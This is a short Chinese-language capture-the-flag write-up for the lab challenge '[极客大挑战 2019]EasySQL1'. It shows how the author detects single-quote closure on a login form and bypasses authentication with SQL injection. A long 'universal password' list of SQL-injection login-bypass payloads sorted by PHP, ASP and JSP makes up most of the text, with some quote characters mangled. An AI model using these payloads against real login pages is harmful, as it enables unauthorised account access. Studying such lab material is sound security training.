课程名称:[极客大挑战 2019]EasySQL1
1、访问地址,发现是一个登录页面,所以这题应该是SQL注入;
2、尝试用账户admin、密码123456登陆,页面提示错误用户名、密码;
3、再尝试闭合方式,账号输入1,1’,1"判断,当输入为1’时报错,所以判断结果语句应该为单引号闭合;
4、这里提供一下万能密码表
万能密码表(收集于网络)
语言 万能密码 PHP ‘or 1=1/*
"or “a”="a
“or 1=1–
“or”=”
“or”="a’=‘a
“or1=1–
“or=or”
'‘or’=‘or’
‘) or (‘a’=‘a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a’=‘a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’‘=’‘or’‘=’
‘or’=‘1’
‘or’=‘or’
‘or.‘a.’=‘a
‘or1=1–
1’or’1’=‘1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1-- asp aspx "or “a”="a
‘.).or.(’.a.’=’.a
or 1=1–
‘or 1=1–
a’or’ 1=1–
"or 1=1–
‘or.‘a.’=‘a
“or”="a’=‘a
‘or’’=’
or’=‘or’ jsp 1’or’1’=‘1
admin’ or 1=1/*
5、经过多次尝试,发现使用左右边界为【’】的密码才能正确输出的flag;
6、可以使用的用户名和密码有很多种,例如:
(1)a’ or ‘1’=‘1
(2)php’or’‘=’
7、输入flag,完成答题。
部分内容参考自:https://zhuanlan.zhihu.com/p/137760825和https://blog.youkuaiyun.com/emdog/article/details/120878215?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-1.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-1.pc_relevant_default&utm_relevant_index=2